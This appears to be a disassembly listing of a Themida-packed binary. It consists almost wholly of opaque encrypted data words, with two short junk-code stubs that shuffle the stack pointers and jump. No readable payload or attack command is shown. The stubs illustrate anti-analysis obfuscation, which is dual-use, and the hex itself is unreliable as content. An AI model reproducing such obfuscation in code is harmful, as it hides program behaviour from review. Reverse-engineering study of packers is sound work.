		dd 64804D1h, 0A1F08D8Dh, 4189064Eh, 0E8C38B01h,	7, 825F24E5h
		dd 60B50CA5h, 3850Fh, 0B70F0000h, 0BA5F61F8h, 303CC856h
		dd 73C5C781h, 0EB800000h, 38A3B908h, 0C18163B9h, 9C46E420h
		dd 8B37FFF9h, 6E858F2h,	0A9000000h, 0F2F09B3Ah,	5BD98A95h
		dd 56EFF081h, 81514553h, 0B4FE0DDAh, 0E8815E67h, 1F91A006h
		dd 0D7816660h, 8161FE7Dh, 0B6E66DF0h, 0F550F95Eh, 8060078Fh
		dd 0EAB685F4h, 2EF8361h, 4F4FDE8Bh, 49F0B70Fh, 20850Fh
		dd 8D0F0000h, 3, 0E9F6B70Fh, 31h, 99F9614Ah, 0B73FD324h
		dd 9EECE105h, 9110B09h,	0CE89494h, 0E8000000h, 42A2FE4Ah
		dd 0A28AAFA3h, 8B826296h, 76E95EF7h, 7AFFFFFFh,	1A4E4E3Ah
		dd 8EBB6h, 40000000h, 0E91FDEBAh, 4CCh,	4EA3CD68h, 0DA79E906h
		dd 5968FFF9h, 0E9064EA4h, 0FFF9DA6Fh, 4EA5D268h, 0DA65E906h
		dd 0DA8AFFF9h, 0D8F5A68Eh, 0DDF3A48Ch, 0E0F6A791h, 0E4FB9C94h
		dd 19C1A098h, 0C56FBB94h, 0C771BD94h, 0BF79C596h, 0D880CC9Eh
		dd 0E2D498C4h, 52561555h, 66812F73h, 7C6E111Ah,	0F310830h
		dd 307F4BF9h, 7E498EB6h, 0A3FCA8A3h, 9221C623h,	0EC889216h
		dd 560EEF76h, 0EBB2CBF1h, 2687E920h, 0DB2CDB85h, 96E89630h
		dd 89FFD67Ch, 5B397FF6h, 2FF8Dh, 34DE3F00h, 408B3209h
		dd 0B1FDD88Bh, 0BF4FDF65h, 49F70D2Fh, 8E95BA85h, 0D4250C49h
		dd 0EBFC7BB8h, 6880C0B8h, 0B703DBFCh, 0E179956Ch, 0BBE0760Dh
		dd 0DC8FB844h, 0A698B490h, 864D2C20h, 70C982ABh, 0AB8CB8D0h
		dd 7DC9A0B6h, 6CC69BA4h, 0F81EDCF0h, 0B34E46F3h, 62AEA495h
		dd 65B1A9FAh, 93F2DEC5h, 6FCE9937h, 328h, 0DC54A0B4h, 0DE56A2BBh
		dd 0DD57A3BDh, 0DE56A2BCh, 0DE56A2BDh, 0FDD2577Fh, 3D687B1h
		dd 7DC7DB7h, 0AE081BBh,	0DE0296BEh, 15569C12h, 0E9359056h
		dd 75D3E95Bh, 88102D59h, 0B4A5B949h, 70D9529Eh,	155572E4h
		dd 0C45FC256h, 4E863EAh, 0F82A042Ah, 0D44F9B4Fh, 0CB62AEA3h
		dd 0FAD50662h, 55AE92AEh, 2C3FC141h, 2E202C41h,	0FE5614C5h
		dd 1E3F1723h, 2A42FD49h, 0B6875F6Fh, 9FEBFED7h,	0C410C293h
		dd 0F4AA966h, 0D647F035h, 29Ch,	70E83428h, 72EA362Fh, 71EB3731h
		dd 72EA3630h, 72EA3631h, 7166EBF3h, 776A2B25h, 7B70312Bh
		dd 7E54052Fh, 4A960A32h, 15571086h, 7DC12456h, 20965A86h
		dd 494FC6B3h, 26FB4490h, 2C3E2100h, 380267E0h, 3B293F01h
		dd 3F2F3B1Fh, 0ED4FC6B3h, 7E2C8010h, 0E9401D40h, 4679254Dh
		dd 64CB4988h, 47D9D1DBh, 0D1885615h, 0C19DBA85h, 956CB8ABh
		dd 0AC67BF8Ah, 976E6401h, 3FA59E21h, 18AE55Bh, 81790000h
		dd 163F1D69h, 0E632293Fh, 221D045Dh, 0BA51BC3Dh, 68C1E0C1h
		dd 14C679CEh, 97A990C8h, 0DEF7E381h, 9D84BF0Bh,	48AD991h
		dd 3D1E498Fh, 0ED0CD624h, 8937890Ah, 6D9496A0h,	9AB68AB2h
		dd 560ECEA4h, 0E58DA988h, 560ECE6Dh, 83F9DCFAh,	5B392D00h
		dd 3F83h, 55861B00h, 13F6317Dh,	0F8103007h, 9EAB804Ch
		dd 1E01498Eh, 0F5411942h, 23BD72Ah, 0EDEF06Ah, 843F7756h
		dd 3941710Eh, 9B36475Bh, 0B619915h, 77E70361h, 0B5560EFAh
		dd 0AF6FC05Ah, 7000000h, 3F1D6981h, 27F33F16h, 1A66811Eh
		dd 307C6E11h, 469248F7h, 0B646620Eh, 0B7AB4FC6h, 0BA8AF16Bh
		dd 49AAC6A2h, 3D498C24h, 5C594D21h, 34DB5611h, 49024E03h
		dd 68D456E0h, 115BF264h, 46DF4256h, 0D824411Ah,	1A35263Eh
		dd 1A3566CEh, 5F004C04h, 18F13A86h, 0E0E21F1h, 0FE29CAF4h
		dd 1231Fh, 71BDAF00h, 73BF96C7h, 74C098C9h, 77C39BBCh
		dd 77C39CBDh, 0F3785EBDh, 0F7A890DCh, 0FD9E96E2h, 1A29AE6h
		dd 1FB39DE9h, 587FEFFBh, 16AD5615h, 1A66810Ch, 7530D2Eh
		dd 5E77232Bh, 115D758Bh, 0CCFA0FF8h, 0E700E7F8h, 0C580A4Bh
		dd 69815A24h, 617A221Dh, 7EDF3B87h, 1344206Ch, 3226F03Ch
		dd 10864A76h, 244FC6B3h, 500D52FBh, 0A47D987Dh,	7F95A78Ah
		dd 0B4390DE1h, 947B498Fh, 8CD88FA8h, 0A49208A4h, 1BCF560Fh
		dd 1B3465CFh, 91E154CFh, 9D000000h, 5209E95Bh, 2D411F06h
		dd 49881085h, 7BC79EC7h, 77B059B0h, 8EC612C8h, 7EC915CDh
		dd 0C8DEF5E6h, 0E55EC713h, 0AD54A0B2h, 52170961h, 0C51B5CA5h
		dd 0B0C1990Eh, 0A572AA9Ch, 0B6A8C46Fh, 766FA572h, 758C739Bh
		dd 0B7C89ABBh, 0A572C3B3h, 778E716Fh, 87D38BACh, 75E905D9h
		dd 0B76FA572h, 0C789BE58h, 0F9E252B1h, 0DB7C96E2h, 0A9F5F107h
		dd 9CE8019Eh, 0BE67BEA3h, 0C10DC596h, 509CB2A3h, 0D9C81C6h
		dd 50000000h, 71EE606Ch, 0E33E6FA5h, 1763ED57h,	241F6B81h
		dd 18135F73h, 1F287467h, 221D6980h, 150E5A75h, 26216D62h
		dd 16115D79h, 28236F69h, 19125E77h, 0E1895174h,	4C181h
		dd 0E9830000h, 240C8704h, 6824248Bh, 22h, 57241C89h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0F7682434h,	8B064EA2h, 0C481241Ch
		dd 4, 8904EC83h, 4812424h, 424h, 53555E00h, 48240481h
		dd 5D104F5Bh, 5B48ED81h, 6E89104Fh, 348B5D08h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		dd 52CBD6C5h, 0CA55E1ECh, 0B797E517h, 4EA71AB8h, 0FFC50306h
		dd 0C29CB4E0h, 39A17429h, 32F8ED59h, 0DCA94964h, 5FE5917Bh
		dd 2E256919h, 868D8D67h, 6A064EA8h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 840CC353h
		dd 89AD2443h, 480A198Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0BB048E2Bh, 0CF8166A6h
		dd 8B664414h, 0B19D8BD1h, 0C7064823h, 480F3585h, 5D5006h
		dd 9958B00h, 0B8064807h, 7240075Ah, 242585C7h, 648h, 89600000h
		dd 481BE5BDh, 0CFB70F06h, 15BE6661h, 55B5FF5Ch,	6A064818h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 671AC351h, 28919D89h, 95FF0648h, 64820BDh
		dd 6AC68Bh, 306195FFh, 0C08B0648h, 813458EBh, 0DAFBD1B0h
		dd 9054F27h, 0D7E0F500h, 0F2963231h, 0DAB75ECBh, 0F7D04B5Bh
		dd 54C0A895h, 2B31AEFAh, 1D88ADD5h, 10110085h, 6CDFD043h
		dd 1B0731B2h, 7D61A699h, 3E81FA89h, 80272561h, 432EFDB2h
		dd 28EE1A56h, 38D1EF61h, 5A3D1390h, 0F15A1A1Ah,	510EEC71h
		dd 0DE8B11Fh
		db 3 dup(0)
byte_5A7657	db 3Ah			; DATA XREF: Themida_:0053DC20o
		dd 0CAE478C4h, 54E352E0h, 1699AB9Fh, 636838BBh,	85015849h
		dd 6480EB1h, 7125C081h,	0F1810000h, 68E87D31h, 9D8BFF2Bh
		dd 6481E05h, 0F0734FFh,	88Bh, 2800F00h,	60000000h, 9D0B5E61h
		dd 6480F3Dh, 0EA2EC681h, 8A0F3CCEh, 6, 1EA99589h, 0C6810648h
		dd 5CF2C4C7h, 2A219D2Bh, 0C6810648h, 22C0EBC5h,	9259D8Bh
		dd 66560648h, 8F1B43BAh, 8D8B3804h, 6481051h, 8384C580h
		dd 8D8904EFh, 6482DB1h,	8FA0FF81h, 850FFFFFh, 1Bh, 1EA8BA66h
		dd 2BE9h, 11FF9700h, 864EE295h,	941881CCh, 4011D0D5h, 0BBADBA15h
		dd 30A3D438h, 0FFFF73E9h, 0E12049FFh, 0B8863241h, 11D7C0A1h
		dd 8A53C03Dh, 5E8h, 82437A00h, 0E4802AA1h, 9D315EA1h, 64819C5h
		dd 6304C681h, 0BB660000h, 0FF2B71ADh, 34FFC68Bh, 5AD88B37h
		dd 0EA815856h, 5F059242h, 1D2CB966h, 0DB64EA81h, 8D8952C3h
		dd 6481545h, 7F9AF281h,	0BD0141EEh, 6482B7Dh, 0F3E1489h
		dd 480h, 3EB96600h, 81DE8B3Bh, 0F00097EFh, 6880F45h, 3000000h
		dd 480B758Dh, 93C78106h, 8B45F000h, 4823F59Dh, 0B8FF8106h
		dd 0FFFFF9Dh, 2485h, 8E800h, 91300000h,	73A4F8D2h, 7E9089Ah
		dd 0F8000000h, 136C6E34h, 0E95B2E99h, 21h, 0AD3AF38Eh
		dd 0DF8B6627h, 0FFFF71E9h, 523A76FFh, 0D361E4E5h, 4CE4FA6Ah
		dd 0E1E465CDh, 0D2C6A41Dh, 0CE847h, 2C460000h, 0D0624C43h
		dd 74392C44h, 0F607750h, 0B531F6BFh, 6482345h, 81665A61h
		dd 81002EF6h, 60ABC2h, 10E900h,	0DC140000h, 0F1853425h
		dd 0FA84A50Ah, 0BD3D1C7Eh, 0BBE666h, 8B000000h,	481EB98Dh
		dd 1334FF06h, 952958F5h, 6482C65h, 53A3F081h, 0BD8B0220h
		dd 6482E3Dh, 3270F081h,	8D293F0Eh, 6482E9Dh, 0D158E881h
		dd 8956287Bh, 4818998Dh, 4895E06h, 0C9BD031Ah, 66064826h
		dd 837C70BFh, 4BF901EBh, 0DD804B4Bh, 0E8FB81D2h, 0FFFFF9Fh
		dd 0FFFFAC85h, 83C08BFFh, 4820E9BDh, 9750006h, 2C61BD83h
		dd 74000648h, 8B535019h, 421B8C0h, 85890000h, 64828A1h
		dd 0B02C9D8Dh, 0D3FF064Ah, 0BD83585Bh, 6482C61h, 50177400h
		dd 421B853h, 85890000h,	64828A1h, 0AD1B9D8Dh, 0D3FF064Ah
		dd 0C08B585Bh, 9A99D8Bh, 85C60648h, 648276Dh, 0B8526856h
		dd 0B5FF9CA8h, 6482195h, 831E858Dh, 0D0FF064Bh,	68046Ah
		dd 0FF000010h, 4800F5B5h, 0FF006A06h, 0FC085D0h, 0D85h
		dd 0B800h, 8D8D0000h, 6486F77h,	0C88BE1FFh, 4003C38Bh
		dd 0F8053Ch, 508B0000h,	83D3030Ch, 481A75BDh, 840F0006h
		dd 0Eh,	1A759D8Bh, 858B0648h, 648180Dh,	52510389h, 78C5858Dh
		dd 0D0FF0648h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 648276Dh
		dd 6D396856h, 0B5FFD41Fh, 6482195h, 831E858Dh, 0D0FF064Bh
		dd 800068h, 52006A00h, 0C08BD0FFh, 20E9BD83h, 75000648h
		dd 61BD8309h, 6482Ch, 53501974h, 21B8C08Bh, 89000004h
		dd 48002185h, 939D8D06h, 0FF064AB0h, 83585BD3h,	482C61BDh
		dd 17740006h, 21B85350h, 89000004h, 48002185h, 349D8D06h
		dd 0FF064AADh, 8B585BD3h, 759D8DC0h, 8B06481Ah,	0FC00B03h
		dd 784h, 8B038B00h, 1889045Bh, 4B41B8h,	9E800h,	53D0000h
		dd 2B8CC93Fh, 661BAD26h, 8C79F281h, 0C781F95Fh,	7330h
		dd 96FFB9FCh, 0F1814A30h, 4A308A60h, 82C68166h,	811F8B3Fh
		dd 0CDAA6FC3h, 0A5C0BE51h, 0EB817F37h, 4D50EBCDh, 28C0Fh
		dd 0D38B0000h, 0D656F381h, 11E97BB1h, 3A000000h, 0CCA95BF0h
		dd 9DB51B2h, 8A0CC40Eh,	859F2E81h, 0BE953h, 29570000h
		dd 0E4F96257h, 0E735845h, 81078F8Eh, 0C398F3F0h, 0D3EF8134h
		dd 663B470Bh, 0C781C18Bh, 3B470BCFh, 8E9h, 0E1BFCF00h
		dd 9860F9A6h, 1E9835Fh,	0FF8B850Fh, 10E8FFFFh, 0D1000000h
		dd 9D3384FCh, 0DB48D3DFh, 6BC0E5B6h, 81423373h,	0DD81AFCEh
		dd 0CE85815h, 2D000000h, 3C307880h, 358CD323h, 0E8598B1Ah
		dd 13h,	46F3DADFh, 0FCBABA30h, 0FEF5FEA7h, 833E133Bh, 0B72742BEh
		dd 0BE585BCEh, 6262CE2Dh, 59EEC081h, 23B30000h,	12E8FF33h
		dd 6E000000h, 0D30E9EABh, 0F896D8C9h, 315DADA8h, 51ECA2B8h
		dd 0F7BF0F8Dh, 380C8B5Bh, 91E3BA66h, 850BC181h,	0BE6601FFh
		dd 0F181FA07h, 51DBFD87h, 0F2CE8166h, 33F18146h, 810CBC5Dh
		dd 0EE9A5CC3h, 380C892Eh, 0CE9h, 3EC1A200h, 4A628EA1h
		dd 208B0360h, 4EF83D3h,	0A6FCFF81h, 850FFFFFh, 2Ch, 11E9h
		dd 8815BE00h, 0BDF4C395h, 0F2D964D7h, 493370C4h, 36E990AFh
		dd 2A000000h, 0BA3CD946h, 0B91CDA6Eh, 0FA1377B5h, 0CBCFCF13h
		dd 0BE9h, 7A775600h, 9C0F70B0h,	0AF5C080Fh, 0FFFF74E9h
		dd 2C6832FFh, 0ADCCD29Dh, 21E70619h, 4C7B690Bh,	619D8DDAh
		dd 0B8064827h, 1434h, 1A458589h, 0E80648h, 58000000h, 0D05h
		dd 0E9038900h, 1434h
dword_5A7BB8	dd 50Dh	dup(0)		; DATA XREF: Themida_:0053F4D0o
		dd 12E8h, 0F36E200h, 68997582h,	0D0BDEFDDh, 54232FC9h
		dd 66C4325Fh, 5B3E34BFh, 812CCC80h, 72B0C3h, 0FD7DBF00h
		dd 0C933471Ch, 0BE0B148Bh, 2D3D6AC3h, 2960F281h, 8A0F596Bh
		dd 2, 0C281FE8Bh, 1B4C7029h, 23D88166h,	1AF2812Eh, 8901720Eh
		dd 9E90B14h, 23000000h,	35DE3B9Bh, 3B319EA4h, 0E904E983h
		dd 0Eh,	26395E75h, 8BA49053h, 939CD373h, 0F981C9DFh, 0FFFF8DD8h
		dd 0FFA6850Fh, 820FFFFFh, 5, 0A0AC5FBEh, 3BE91Fh, 8B600000h
		dd 48200DBDh, 4EF8306h,	0C18BC933h, 0B88320BBh,	4C783EDh
		dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h
		dd 100F9h, 0D3820F00h, 61FFFFFFh, 8DC88BC3h, 4EC43A8Dh
		dd 0FE806h, 543F0000h, 33CB7D5Bh, 7FBFED3Ah, 0CB1F4BF8h
		dd 8D895F95h, 6480A19h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		db 81h,	44h, 24h
byte_5A90F3	db 4			; DATA XREF: Themida_:0053F34Co
		dd 1Ch,	9DC35646h, 1D770E8h, 2CAAEDA7h,	13B59D8Bh, 85C70648h
		dd 6480F35h, 6E38h, 2A51958Bh, 0C6810648h, 4AD32AFBh, 242585C7h
		dd 648h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 1C0424h, 56460000h, 40ACBCC3h, 0B54E4366h, 8D0F6E66h
		dd 1Ah,	0D99D0160h, 0E806481Eh,	0Ch, 0D600149Fh, 9E551DD8h
		dd 189BE230h, 0B5FF615Fh, 6482181h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0DC35646h, 0B70FC831h, 0FFC38BD8h
		dd 4820BD95h, 0E8816606h, 6A75B9h, 306195FFh, 0C08B0648h
		dd 61EA1DEBh, 65284219h, 220B2451h, 0B0344AFEh,	9E3468EAh
		dd 0B1885141h, 0F79B8F2Eh, 8D5800F6h, 4EC52D8Dh, 12E906h
		dd 0B1210000h, 0BDF06C85h, 24C466FBh, 188F95DCh, 0B15EFD22h
		dd 8D895852h, 6480A19h,	0C7A8F380h, 480F3585h, 6A2006h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0B607E62Eh, 66783869h, 12E9FA8Bh, 4C000000h
		dd 0C4DE6844h, 185A0B5Ch, 8B8EC807h, 0D12A894Dh, 2585C76Dh
		dd 64824h, 66000000h, 0FF0A48BBh, 4826E5B5h, 11E906h, 6ED00000h
		dd 0DAB6C610h, 75F5AF94h, 57EC68F2h, 814D63CFh,	0B7E184D3h
		dd 0BD95FF02h, 6A064820h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0C038C357h,	5D704EC4h
		dd 8B666B96h, 0FF006AF9h, 48306195h, 0EBC08B06h, 24EA545Eh
		dd 0C7E1AE2Ah, 46913C1Eh, 0ABC40B36h, 1D0C8D8Ch, 8B266121h
		dd 73594925h, 29A52139h, 9B4C6A95h, 0EE580AD2h,	37387EFEh
		dd 5F640DB7h, 0DC1A8CC2h, 89407533h, 2C4EC847h,	58870A0Bh
		dd 0E5653445h, 196237FDh, 0AD3650CDh, 841C17ABh, 6C31FD3h
		dd 0C40500F9h, 0BB8F4E7Dh, 0FEF12583h, 0B366FCAh, 4FBECCA8h
		dd 0B36AA8Ah, 0EAD5ABA8h, 0B370275h, 4FBFCAA8h,	0AE5DBA8Ah
		dd 4FBFA757h, 0B34728Ah, 0EAD5ABA8h, 0B34C575h,	4FBC95A8h
		dd 0B35478Ah, 4FBD17A8h, 0B35398Ah, 0EAD5ABA8h,	0D42F2575h
		dd 13649213h, 9430C003h, 90A752E6h, 57EC82A3h, 0D0BCD121h
		dd 0D42F43C4h, 13649328h, 9438C003h, 90A752E6h,	57EC8252h
		dd 0D088D121h, 0D42F43C4h, 13649C87h, 9404C003h, 90A752E6h
		dd 57EC8D0Eh, 0D084D121h, 0D42F43C4h, 13649C60h, 9410C003h
		dd 90A752E6h, 57EC8C9Bh, 0D090D121h, 0D42F43C4h, 13649DFAh
		dd 941CC003h, 90A752E6h, 57EC8C19h, 0D0E8D121h,	0D42F43C4h
		dd 13649D7Ch, 9464C003h, 90A752E6h, 57EC8F87h, 0D0E0D121h
		dd 0B8C343C4h, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 60C0D5F2h, 96A40B4Ch, 152AA8EDh, 2429458Ah, 96E367A0h
		dd 0D5ADBAB4h, 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h
		dd 5D33893Ah, 5342848Ch, 0EA2211ABh, 245D55FFh,	9C3AABA4h
		dd 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh
		dd 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h
		dd 0DB2FEE27h, 13649872h, 1129475h, 0CFA0D902h,	0AEA40B46h
		dd 51A1EC79h, 0DC0941AEh, 5BE68E22h, 3773BA8Ch,	732ADF10h
		dd 8B28C821h, 0EA2C1A64h, 152BFD5Bh, 9881508Ch,	1F6E9F00h
		dd 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h
		dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 20C0D5F2h, 0DAA40B4Dh
		dd 68A15CDDh, 0ADE78286h, 152A54A8h, 9C30BACCh,	9E2C1CBBh
		dd 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 0CFA0D9F9h, 0AEA40B46h
		dd 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h
		dd 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah
		dd 0D2A6BE29h, 242943C4h, 1957DFA0h, 515E004Dh,	532A54A8h
		dd 426FD775h, 0CDA152E0h, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h
		dd 0CFA0D9F9h, 0AEA40B46h, 949A0D79h, 651A2320h, 8481328Ch
		dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah,	1DC9953Bh
		dd 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh
		dd 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h,	7332A328h
		dd 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh
		dd 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h,	152AA8EDh
		dd 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah
		dd 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah,	1FAF5B7Ah
		dd 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h,	305E3803h
		dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h,	1957DFA0h
		dd 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h
		dd 5BE68E22h, 0E173BA8Ch, 9FA7FEF8h, 57EC8950h,	0D6A08557h
		dd 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah,	152A54AFh
		dd 487FD775h, 452652E0h, 8B28C820h, 0EA2C1A64h,	0FB2BF55Bh
		dd 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh
		dd 0E96F93A4h, 51A2458Ah, 87D5FE04h, 57EA5647h,	17868C23h
		dd 0DB2FEF49h, 13649872h, 0E9C49475h, 0BE4CBD28h, 7A088600h
		dd 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah,	75D6902Bh
		dd 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h, 19B18818h
		dd 0B9E2DFAEh, 0DC088558h, 5BE68E32h, 3771BA8Ch, 73E39410h
		dd 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h
		dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h
		dd 426FD775h, 0DDA152E0h, 0FB637726h, 0D9F0CE25h, 825D43C4h
		dd 0E4AAECCEh, 9028EEECh, 19577F02h, 305E3803h,	0DCD61123h
		dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
		dd 732A54A8h, 376B7732h, 0CFB0D903h, 0AEA40B46h, 9592327Bh
		dd 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h
		dd 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h
		dd 0B824FDECh, 8FA7FFCEh, 57EC8950h, 0A09A8757h, 0FB0E0320h
		dd 0D9F0CE25h, 825D43C4h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 48C0D5F2h, 96A40B40h, 152AA8EDh, 2429458Ah, 1957DFA0h
		dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah
		dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah
		dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h
		dd 0D0B8CE25h, 0DCF143C4h, 5BEC3D32h, 0D871BA8Ch, 42C3A8EDh
		dd 0AEA2458Ah, 60D558DDh, 0F338C882h, 462C1A6Dh, 97CBDF07h
		dd 0C6D552E6h, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
		dd 57EC8024h, 7CB0D9FBh, 0AEA40B4Ch, 0E96FDD7Bh, 51A25863h
		dd 195FABA8h, 0DCAA3075h, 5BEFEE32h, 0CB2F168Ch, 136492C1h
		dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
		dd 55000030h, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 57B0FD49h
		dd 7916FD20h, 6E57FD20h, 0E3B5FD20h, 26A7FD20h,	0C49DFD20h
		dd 0B47AFD20h, 0C5BFD20h, 5036FD20h, 797DFD20h,	6E4AFD20h
		dd 0E5AFFD20h, 2708FD20h, 0C5E9FD20h, 0B4CAFD20h, 0A76FD20h
		dd 57DAFD20h, 259DFD20h, 2295358Ah, 4A76D6A2h
		dd 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah, 9775F572h,	0CB74FD79h
		dd 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah
		dd 0EB76FD7Ah, 6375A762h, 0CB75A762h, 0E475FD7Ah, 0F374FC7Bh
		dd 9074FC7Bh, 0BC75F8B2h, 1EF0701Ah, 0A673B3B5h, 0D9BE8AFFh
		dd 9DF0707Ch, 6C73B3B5h, 0BCBECAFFh, 0EDF0707Ch, 3573B3B5h
		dd 10BE8EFFh, 0DBF0707Ch, 1E73B3B4h, 85BEC6FFh,	56F0707Ch
		dd 7B73B3B4h, 37BEC2FFh, 0EDF0707Ch, 0D773B3B7h, 61BEBEFFh
		dd 0F4F0707Ch, 4273B3B7h, 0ABBEBAFFh, 8BF0707Ch, 0F073B3B7h
		dd 0F2BEB6FFh, 8AF0707Ch, 0A673B3B7h, 0D9BEAAFFh, 6BF0707Ch
		dd 6C73B3B7h, 0BCBEB2FFh, 0C6F0707Ch, 3573B3B7h, 10BEAEFFh
		dd 0FBF0707Ch, 1E73B3B7h, 85BEAAFFh, 0EBF0707Ch, 7B73B3B4h
		dd 37BE9AFFh, 91F0707Ch, 0D773B3B4h, 61BE96FFh,	0C7F0707Ch
		dd 4273B3B4h, 0ABBE92FFh, 6BF0707Ch, 0F073B3B4h, 0F2BEA6FFh
		dd 8EF0707Ch, 0A673B3B4h, 0D9BEA2FFh, 0A0F0707Ch, 6C73B3B5h
		dd 0BCBE9EFFh, 0B4F0767Ch, 3573B569h, 10BE4DFFh, 0F2F0767Ch
		dd 1E73B563h, 85BE49FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah
		dd 70B117FBh, 0D525FB34h, 0ADFDF53Fh, 913B36D5h, 0CFB73422h
		dd 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 59987C27h,	0A073B3B6h
		dd 61BECBFFh, 0A1C87D7Ch, 0CF73B3B1h, 0E4C5B409h, 0F9B54B75h
		dd 863589BAh, 0F2BE49EFh, 96FEBD7Ch, 2F7A452Bh,	28AFD7Ah
		dd 0CD3B36CEh, 2E4248F7h, 0C6F8FB34h, 4B9D50FCh, 0CF75FD7Eh
		dd 5E76456Fh, 0BA8AFD7Ah, 913B36CEh, 4248F7h, 0D1F8FB34h
		dd 228A50FCh, 87BC1F23h, 0F2BECBF7h, 52DA07Ch, 0EC2CA320h
		dd 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F43B36CAh, 79D3ED1h
		dd 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 0D9BE4DEFh, 8DE9B7Ch
		dd 0E5779592h, 0F3360B7Ah, 866E8872h, 0F2BE4DEFh, 54C54D7Ch
		dd 0BA8AAD79h, 913B36CAh, 2BF69B20h, 277E9B7Eh,	1AB6561Ch
		dd 7975FF6Bh, 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h
		dd 7F5DF70h, 83FE4DBAh,	9D3ED1h, 2A75FD7Bh, 0BC77E192h
		dd 844EA77Ah, 49C5120Eh, 7FA916D0h, 0CB75FCA7h,	0ED74BE8Ch
		dd 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h,	0A56889A0h
		dd 94913D59h, 7F5DF70h,	0B5FF4DBAh, 39C56885h, 1F2FFB34h
		dd 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah
		dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh
		dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch, 439D561Ch,	1A75FD7Bh
		dd 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h
		dd 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h
		dd 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah,	0E2CD3ED0h
		dd 0D75FD7Ah, 37BE49EFh, 0C7C0707Ch, 5D73B3B1h,	2C7F518Ah
